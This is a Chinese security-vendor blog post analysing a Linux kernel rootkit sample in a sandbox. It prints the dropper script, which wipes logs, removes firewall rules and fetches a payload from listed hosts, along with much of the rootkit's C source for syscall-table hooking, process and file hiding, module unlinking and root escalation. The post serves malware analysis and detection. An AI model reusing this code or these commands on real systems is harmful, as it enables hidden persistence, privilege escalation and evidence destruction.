天穹 | Linux内核劫持:深入分析内核rootkit入侵威胁

天穹 | Linux内核劫持:深入分析内核rootkit入侵威胁

01

概述



Linux内核级rootkit技术是一种极为高级的黑客攻击技术,它能够打破Linux系统的安全防御,实现对系统和用户的完全控制。相较于用户态rootkit,内核级的rootkit在操作系统内核层进行操控,更难被发现。一旦成功安装,rootkit就可以在操作系统内核中运行,更加持久和难以清除,并且由于存在于内核级别,它能够篡改内存数据和内核模块,控制权更高,危害更大。

天穹沙箱研究人员使用天穹Linux沙箱深入分析了该类型样本,在分析报告中详细列举了样本的攻击手段和触发方式。由于此类样本比较典型,本次我们选取一个样本为例,向大家展示天穹沙箱的样本分析能力,并解读沙箱分析报告中的各类结果数据。



02

样本信息


本次我们以下面的样本为例,通过分析报告向大家展示linux沙箱检测内核劫持的行为效果,结合人工分析,进一步验证沙箱分析结果的正确性。样本基本信息:

  • SHA1:49e85f2af8013444a859e07dc052894377d044e7

  • 文件名:775087dae7f08f651ee4170a9ef726b6.x86_64-64.elf

  • 文件类型:x86_64-64.elf

  • 文件大小:32.54 KB

03

样本分析


1、样本投递

天穹沙箱开箱即用,为能更好地体现沙箱的分析能力,我们选择Linux Ubuntu18.04 x86_64 Fast 快速分析模式,如图1所示。

天穹 | Linux内核劫持:深入分析内核rootkit入侵威胁

2、综合评价

打开样本分析报告,在综合评价部分可以看到,沙箱使用Ubuntu18.04 x86_64的快速分析环境,在标签部分的动态行为描述中可看到有调整iptables下载文件执行程序编译写入可执行文件以及插入内核模块等恶意行为。通过多维度检测引擎鉴定,将测试样本判定为危险样本。如图2所示。

天穹 | Linux内核劫持:深入分析内核rootkit入侵威胁

3、动态行为

展开动态行为类目的执行程序行可以看到样本执行了大量的bash shell命令,如下图所示。

天穹 | Linux内核劫持:深入分析内核rootkit入侵威胁

由此我们怀疑样本本身是一个shell脚本,使用shc类型的工具编译后形成当前的elf二进制样本。使用开源shc解密工具(可参考extractSHC工具)尝试对样本进行还原,得到如下shell命令。经比较,与沙箱捕获的执行shell命令一致。

#!/bin/bashrm -rf /var/www/html/config.jsonrm -rf /root/.xmrig.jsonrm -rf /root/.config/xmrig.jsonrm -rf /var/log/messages*rm -rf /var/log/secure*rm -rf /var/log/auth.log*rm -rf /var/log/syslog*echo "fs.file-max = 2097152" > /etc/sysctl.confsysctl -pulimit -SHn 1024000mv /usr/sbin/tokens /usr/sbin/iptables 2>/dev/null 1>/dev/null&mv /sbin/tokens /sbin/iptables 2>/dev/null 1>/dev/null&sleep 1iptables -L INPUT -v -n | grep 138.68 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -siptables -L INPUT -v -n | grep 67.207 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -siptables -L INPUT -v -n | grep 46.101 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
/* 代码过长,此处省略 */
/"$EXE" 2>/dev/null 1>/dev/null& sleep 2 pidof "$EXE" > /tmp/.X0_locks rm -rf /"$EXE" kill -53 10000000 if grep -q "iptable_reject" "/proc/modules"; then echo "M exists" kill -41 `cat /tmp/.X0_locks` kill -53 10000000 else echo "M not exists" module_install kill -53 10000000 if grep -q "iptable_reject" "/proc/modules"; then echo "M exists" kill -41 `cat /tmp/.X0_locks` kill -53 10000000 else echo "M not installed check errors 2" fi fifisudo journalctl --vacuum-time=1s

3.1 shell命令分析

拿到shell脚本后,我们对其攻击逻辑以及攻击意图进行分析。首先,shell脚本删除了与挖矿工具相关的配置文件xmrig.config和系统日志文件,并使用sysctlulimit命令设置了系统和进程可使用的文件描述符上限。然后使用iptables命令查看并删除了丢弃特定源ip流量的入站规则,以使得后续下载pn.zip不被拦截。

# 删除配置文件rm -rf /var/www/html/config.json# 删除xmrig挖矿工具相关配置文件rm -rf /root/.xmrig.jsonrm -rf /root/.config/xmrig.json# 删除系统日志rm -rf /var/log/messages*rm -rf /var/log/secure*rm -rf /var/log/auth.log*rm -rf /var/log/syslog*# 修改系统可打开的文件描述符上限值echo "fs.file-max = 2097152" > /etc/sysctl.confsysctl -p# 修改进程可打开的文件描述符上限值ulimit -SHn 1024000mv /usr/sbin/tokens /usr/sbin/iptables 2>/dev/null 1>/dev/null&mv /sbin/tokens /sbin/iptables 2>/dev/null 1>/dev/null&sleep 1# 查看入站流量规则并删除丢弃特定源IP流量的入站规则iptables -L INPUT -v -n | grep 138.68 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -siptables -L INPUT -v -n | grep 67.207 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -siptables -L INPUT -v -n | grep 46.101 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -siptables -L INPUT -v -n | grep 157.245 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -siptables -L INPUT -v -n | grep 146.190 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -siptables -L INPUT -v -n | grep 144.126 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -siptables -L INPUT -v -n | grep 167.172 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -siptables -L INPUT -v -n | grep 172.104 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -siptables -L INPUT -v -n | grep 172.105 | awk '{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -smv /usr/sbin/iptables /usr/sbin/tokens 2>/dev/null 1>/dev/null&mv /sbin/iptables /sbin/tokens 2>/dev/null 1>/dev/null&

接下来shell脚本判断目标文件iptable_reject是否存在,如果不存在,将从以下几个链接尝试下载pn.zip,解压后使用pn.zip中的iptable_reject文件替换原始文件,然后后台启动iptable_reject进程。

由于以下链接均已失效,pn.zip下载失败,未能创建iptable_reject用户进程。

# hhide变量的值取自进程启动时的第一个参数,不提供参数的情况下取值为ad12e85f# 判断目录/etc/ad12e85f是否存在,不存在则创建DIR3="/etc/$hhide"if [ -d "$DIR3" ]; then    echo "folder  ok"else    mkdir "$DIR3"fi# 获取随机数EXE=`echo $RANDOM | md5sum | head -c 8`# 获取/tmp/.X0_locks文件中存储的值作为pidPID=`cat /tmp/.X0_locks`mama=$2if [ -e "/proc/$PID/status" ]; then    echo "process exists"else    # 省略部分代码    echo "process not exists"    # 判断/etc/ad12e85f/iptable_reject文件是否存在    FILE1="/etc/$hhide/iptable_reject"    if [ -f "$FILE1" ]; then        echo "PI exists."    else        echo "PI does not exist."        # iptable_reject文件不存在,尝试从以下链接下载pn.zip包,并从中提取iptable_reject文件        curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":9090 http://example.established.site/pn.zip        FILE="/tmp/pn.zip"        # 获取/tmp/pn.zip文件的大小        FILESIZE=$(stat -c%s "$FILE")        if (( FILESIZE > "1000000")); then             echo "zip exists."        else            echo "zip does not exist."            rm -rf "$FILE"            wget --timeout=5 --tries=2 http://example.established.site/pn.zip -q -O /tmp/pn.zip        fi        if (( FILESIZE > "1000000")); then             echo "zip exists."        else            echo "zip does not exist."            rm -rf "$FILE"            curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":1081 http://example.established.site/pn.zip        fi        if (( FILESIZE > "1000000")); then             echo "zip exists."        else            echo "zip does not exist."            rm -rf "$FILE"            wget --timeout=5 --tries=2 http://w.amax.fun/pn.zip -q -O /tmp/pn.zip        fi        if (( FILESIZE > "1000000")); then             echo "zip exists."        else            echo "zip does not exist."            rm -rf "$FILE"            curl --connect-timeout 500 -s -o /tmp/pn.zip --socks5-hostname "$mama":9090 http://172.104.170.240/pn.zip        fi        if (( FILESIZE > "1000000")); then             echo "zip exists."        else            echo "zip does not exist."            rm -rf "$FILE"            wget --timeout=50 --tries=2 http://172.104.170.240/pn.zip -q -O /tmp/pn.zip        fi        cd /tmp/        # 解压pn.zip到/tmp目录,使用解压后的iptable_reject文件替换/etc/ad12e85f/iptable_reject        unzip -qq -o pn.zip        rm -rf pn.zip        mv iptable_reject "$FILE1"    fi    FILE2="/$EXE"    if [ -f "$FILE2" ]; then        echo "MD exists."    else        echo "MD does not exist."        cp "$FILE1" /"$EXE"    fi    # 后台启动iptable_reject进程    /"$EXE" 2>/dev/null 1>/dev/null&    sleep 2    # 将iptable_reject进程pid写入到/tmp/.X0_locks文件中    pidof "$EXE" > /tmp/.X0_locks    # 删除iptable_reject磁盘文件    rm -rf /"$EXE"    /* 处理驱动信息 */fi

启动iptable_reject进程后,shell脚本开始处理关联驱动iptable_reject.ko。通过查询/proc/modules内存文件判断是否存在iptable_reject内核模块,如果存在,则使用kill命令发送信号值41以隐藏iptable_reject用户进程,并发送信号值53给特殊进程号10000000,具体操作及作用见后面分析。如果查询该模块不存在,则执行模块编译安装操作,确认模块安装成功后再发送特定信号。

kill -53 10000000# 从/proc/modules内存文件中查询iptable_reject驱动是否存在if grep -q "iptable_reject" "/proc/modules"; then    echo "M exists"    kill -41 `cat /tmp/.X0_locks`    kill -53 10000000else    echo "M not exists"    # iptable_reject驱动不存在时,调用module_install处理函数编译并安装该驱动    module_install    # kill命令发送信号值53告诉iptable_reject驱动,将驱动添加回模块链表中,方便查看是否加载成功    kill -53 10000000    # 再次查询驱动信息    if grep -q "iptable_reject" "/proc/modules"; then        echo "M exists"        # kill命令发送信号值41给iptable_reject进程,驱动拦截后将iptable_reject进程隐藏        kill -41 `cat /tmp/.X0_locks`        # 将驱动模块从模块链表中摘除,隐藏自身        kill -53 10000000    else        echo "M not installed check errors 2"    fifi

最后通过journalctl设置不记录日志信息,以抹除系统对样本行为的日志记录。

sudo journalctl --vacuum-time=1s

3.2 驱动内

iptable_reject.ko驱动文件作为该样本的重要组成部分,不仅帮助样本隐藏其用户层相关进程和文件,还提供提升root权限功能。shell脚本的module_install()函数实现了驱动编译和安装功能,将驱动源码信息分别写入到iptable_reject.h和iptable_reject.c文件,并创建Makefile进行编译,最后调用insmod命令安装驱动后删除所有相关文件。

iptable_reject.h文件内容如下,主要是声明了一些结构体和设置了宏定义。

mkdir /tmp/acat <<EOF >>/tmp/a/iptable_reject.hstruct linux_dirent {        unsigned long   d_ino;        unsigned long   d_off;        unsigned short  d_reclen;        char            d_name[1];};
#define MAGIC_PREFIX "hhide"
#define PF_INVISIBLE 0x10000000
#define MODULE_NAME "iptable_reject"
enum { SIGINVIS = 41, SIGSUPER = 54, SIGMODINVIS = 53,};
#ifndef IS_ENABLED#define IS_ENABLED(option) (defined(__enabled_ ## option) || defined(__enabled_ ## option ## _MODULE))#endif// linux内核在5.7.0版本后不再导出kallsyms_lookup_name,该驱动借助kprobe获取函数地址#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)#define KPROBE_LOOKUP 1#include <linux/kprobes.h>static struct kprobe kp = { .symbol_name = "kallsyms_lookup_name"};#endifEOF// 将iptable_reject.h头文件中的hhide字符串替换为shell脚本获取的hhide变量值sed -i -e"s/hhide/$(echo $hhide)/" /tmp/a/iptable_reject.h

iptable_reject.c文件实现了rootkit的具体功能,从iptable_reject.c文件前部可以看出,该驱动文件适配了绝大多数linux内核,并且支持在ARM64环境上编译运行。在iptable_reject_init()初始化函数中可以看出,该驱动主要是劫持了系统调用表sys_getdents、sys_getdnets64以及sys_kill这3项,并通过从modules_list中摘除自身以达到隐藏驱动的目的。

cat <<EOF >>/tmp/a/iptable_reject.c#include <linux/sched.h>#include <linux/module.h>#include <linux/syscalls.h>#include <linux/dirent.h>#include <linux/slab.h>#include <linux/version.h>
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 13, 0)#include <asm/uaccess.h>#endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)#include <linux/proc_ns.h>#else#include <linux/proc_fs.h>#endif
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 26)#include <linux/file.h>#else#include <linux/fdtable.h>#endif
#if LINUX_VERSION_CODE <= KERNEL_VERSION(2, 6, 18)#include <linux/unistd.h>#endif
#ifndef __NR_getdents#define __NR_getdents 141#endif
#include "iptable_reject.h"
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)// X86架构修改内核态内存读写权限的寄存器unsigned long cr0;#elif IS_ENABLED(CONFIG_ARM64)// ARM64架构修改内核态内存读写权限的操作函数和相关数据void (*update_mapping_prot)(phys_addr_t phys, unsigned long virt, phys_addr_t size, pgprot_t prot);unsigned long start_rodata;unsigned long init_begin;#define section_size init_begin - start_rodata#endifstatic unsigned long *__sys_call_table;#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) typedef asmlinkage long (*t_syscall)(const struct pt_regs *); static t_syscall orig_getdents; static t_syscall orig_getdents64; static t_syscall orig_kill;#else typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *, unsigned int); typedef asmlinkage int (*orig_getdents64_t)(unsigned int, struct linux_dirent64 *, unsigned int); typedef asmlinkage int (*orig_kill_t)(pid_t, int); orig_getdents_t orig_getdents; orig_getdents64_t orig_getdents64; orig_kill_t orig_kill;#endif
/* 代码过长,此处省略,下面详细说明 */
static int __initiptable_reject_init(void){ // 获取系统调用表 __sys_call_table = get_syscall_table_bf(); if (!__sys_call_table) return -1;
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) cr0 = read_cr0();#elif IS_ENABLED(CONFIG_ARM64) update_mapping_prot = (void *)kallsyms_lookup_name("update_mapping_prot"); start_rodata = (unsigned long)kallsyms_lookup_name("__start_rodata"); init_begin = (unsigned long)kallsyms_lookup_name("__init_begin");#endif // 模块隐藏 module_hide(); tidy();
// 备份原始内核函数#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) orig_getdents = (t_syscall)__sys_call_table[__NR_getdents]; orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64]; orig_kill = (t_syscall)__sys_call_table[__NR_kill];#else orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents]; orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64]; orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];#endif // 关闭内核内存写保护 unprotect_memory(); // 将系统调用表项替换为劫持函数 __sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents; __sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64; __sys_call_table[__NR_kill] = (unsigned long) hacked_kill; // 恢复内核内存写保护 protect_memory();
return 0;}
static void __exitiptable_reject_cleanup(void){ unprotect_memory(); // 驱动卸载时恢复系统调用表 __sys_call_table[__NR_getdents] = (unsigned long) orig_getdents; __sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64; __sys_call_table[__NR_kill] = (unsigned long) orig_kill;
protect_memory();}
module_init(iptable_reject_init);module_exit(iptable_reject_cleanup);
MODULE_LICENSE("Dual BSD/GPL");MODULE_AUTHOR("m0nad");MODULE_DESCRIPTION("LKM rootkit");EOF

内核劫持函数才是样本实施攻击、掩盖自身的最大帮凶,接下来,我们细致分析一下3个劫持函数分别作了什么操作。

hacked_getdents() / hacked_getdents64():

这两个函数通过劫持原始sys_getdents()和sys_getdents64()的结果数据,遍历其数据内容,抹除/proc/下要隐藏的目标进程信息以及文件名包含MAGIC_PREFIX指定的文件信息。利用这两个劫持函数,用户进程iptable_reject就可以实现隐身,也可以将相关配置文件和操作文件等“抹除”,让用户查看不到它们的存在。

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) {#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)        int fd = (int) pt_regs->di;        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;#elif IS_ENABLED(CONFIG_ARM64)        int fd = (int) pt_regs->regs[0];        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];#endif        int ret = orig_getdents64(pt_regs), err;#elseasmlinkage inthacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent,        unsigned int count){        // 调用原始sys_getdents64()函数,获取结果数据        int ret = orig_getdents64(fd, dirent, count), err;#endif        unsigned short proc = 0;        unsigned long off = 0;        struct linux_dirent64 *dir, *kdirent, *prev = NULL;        struct inode *d_inode;
if (ret <= 0) return ret;
kdirent = kzalloc(ret, GFP_KERNEL); if (kdirent == NULL) return ret;
err = copy_from_user(kdirent, dirent, ret); if (err) goto out;
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0) d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;#else d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;#endif if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev) /*&& MINOR(d_inode->i_rdev) == 1*/) proc = 1;
while (off < ret) { dir = (void *)kdirent + off; /* 过滤数据,要抹除的内容包括两部分: * 1、非/proc目录,文件名以MAGIC_PREFIX指定字符串开头的文件信息 * 2、/proc目录,文件名(pid)被设置不可见的进程信息 */ if ((!proc && (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0)) || (proc && is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) { if (dir == kdirent) { ret -= dir->d_reclen; memmove(dir, (void *)dir + dir->d_reclen, ret); continue; } prev->d_reclen += dir->d_reclen; } else prev = dir; off += dir->d_reclen; } err = copy_to_user(dirent, kdirent, ret); if (err) goto out;out: kfree(kdirent); return ret;}

hacked_kill():

该函数通过劫取kill()调用发送的信号值执行具体的操作。见下表所示。

信号值 执行操作
41 将信号值后指定的进程设置为不可见
54 将当前进程权限提升为root权限
53 切换内核驱动iptable_reject.ko的可见状态
其他值 执行默认处理流程


#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)asmlinkage inthacked_kill(const struct pt_regs *pt_regs){#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)        pid_t pid = (pid_t) pt_regs->di;        int sig = (int) pt_regs->si;#elif IS_ENABLED(CONFIG_ARM64)        pid_t pid = (pid_t) pt_regs->regs[0];        int sig = (int) pt_regs->regs[1];#endif#elseasmlinkage inthacked_kill(pid_t pid, int sig){#endif        struct task_struct *task;        switch (sig) {                case SIGINVIS: // 信号值41                        if ((task = find_task(pid)) == NULL)                                return -ESRCH;                        // 将指定pid设置为不可见                        task->flags ^= PF_INVISIBLE;                        break;                case SIGSUPER: // 信号值54                        give_root();    // 将current当前进程提升为root权限                        break;                case SIGMODINVIS: // 信号值53                        if (module_hidden) module_show(); // 显示模块                        else module_hide(); // 隐藏模块                        break;                default: // 其他信号不做特殊处理#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)                        return orig_kill(pt_regs);#else                        return orig_kill(pid, sig);#endif        }        return 0;}

除劫持系统调用表项外,样本驱动还将自身从模块链表中摘除,以躲避用户层的模块查询。

static inline voidtidy(void){        // 删除驱动的section信息        kfree(THIS_MODULE->sect_attrs);        THIS_MODULE->sect_attrs = NULL;}
static struct list_head *module_previous;static short module_hidden = 0;voidmodule_show(void){ // 将自身添加到模块链表中 list_add(&THIS_MODULE->list, module_previous); module_hidden = 0;}
voidmodule_hide(void){ module_previous = THIS_MODULE->list.prev; // 将自身从模块链表中摘除 list_del(&THIS_MODULE->list); module_hidden = 1;}

通过以上源码分析,结合天穹沙箱动态行为监控结果,可见沙箱确实捕获到了样本驱动的恶意劫持行为,如下图所示。

天穹 | Linux内核劫持:深入分析内核rootkit入侵威胁

3.3 vnc操作验证

那样本驱动到底存不存在呢?我们接入vnc从以下几个方面验证:

首先执行grep iptable_reject /proc/modules命令查看是否存在该驱动,从上面的分析结果看,shell脚本加载驱动后通过kill -53 10000000命令告知驱动隐藏自身,所以第一次执行grep命令显示不存在该驱动。我们执行kill -53 10000000命令告知驱动显示自身后再查看,发现内核中存在该驱动,如下图:

天穹 | Linux内核劫持:深入分析内核rootkit入侵威胁

然后创建名为ad12e85f的文件并向其写入内容,执行文件查看命令并未查看到该文件,但根据文件路径查看文件内容却能正常输出,可见驱动确实劫持了目录查询流程,隐藏了特定前缀的文件信息,如下图所示:

天穹 | Linux内核劫持:深入分析内核rootkit入侵威胁

同理,我们选择一个系统常驻进程,此处我们以sshd进程为例,使用pidof sshd查看sshd进程号,结果显示sshd进程存在,其进程号为610。执行kill -41 pid后再次查看,发现sshd进程被隐藏,如下图所示:

天穹 | Linux内核劫持:深入分析内核rootkit入侵威胁

最后我们验证样本驱动的提权能力,使用id命令查看当前进程(当前终端)的权限信息,执行kill -54 pid后再次查看,发现当前进程权限被提升为root权限,如下图所示:

天穹 | Linux内核劫持:深入分析内核rootkit入侵威胁

04

 IOC 


775087dae7f08f651ee4170a9ef726b6                            (原始样本)example.established[.]site                              下载链接w.amax[.]fun                                              下载链接172.104.170[.]240:80
05

总结 



在本案例中,通过分析样
本和沙箱报告,我们可以看到天穹沙箱具备检测内核rootkit劫持攻击的能力,上述内容也展示了如何利用这些分析能力和分析结果鉴别恶意样本。天穹沙箱支持多种处理器架构和操作系统,在ARM64信创沙箱银河麒麟V10中也支持检测内核劫持功能,同样可以对样本进行全面、高效、深入的全自动分析,欢迎大家使用,期待你的探索和反馈!


06

技术支持与反馈 

星图实验室深耕沙箱分析技术多年,致力于让沙箱更好用、更智能。做地表最强的动态分析沙箱,为每位样本分析人员提供便捷易用的分析工具,始终是我们追求的目标。各位同学在使用过程中有任何问题,欢迎联系我们。

星图实验室隶属于奇安信技术研究院,专注于软件与系统安全的核心技术研究与系统平台研发,对外输出“天穹”软件动态分析沙箱、“天问”软件供应链分析平台、“天象”软件漏洞挖掘系统等核心能力和工具系统。


我们目前正在招聘,工作地点覆盖北京、上海、成都等城市,详情请参见:

https://research.qianxin.com/recruitment/

原文始发于微信公众号(奇安信技术研究院):天穹 | Linux内核劫持:深入分析内核rootkit入侵威胁

版权声明:admin 发表于 2024年3月28日 上午11:23。
转载请注明:天穹 | Linux内核劫持:深入分析内核rootkit入侵威胁 | CTF导航

相关文章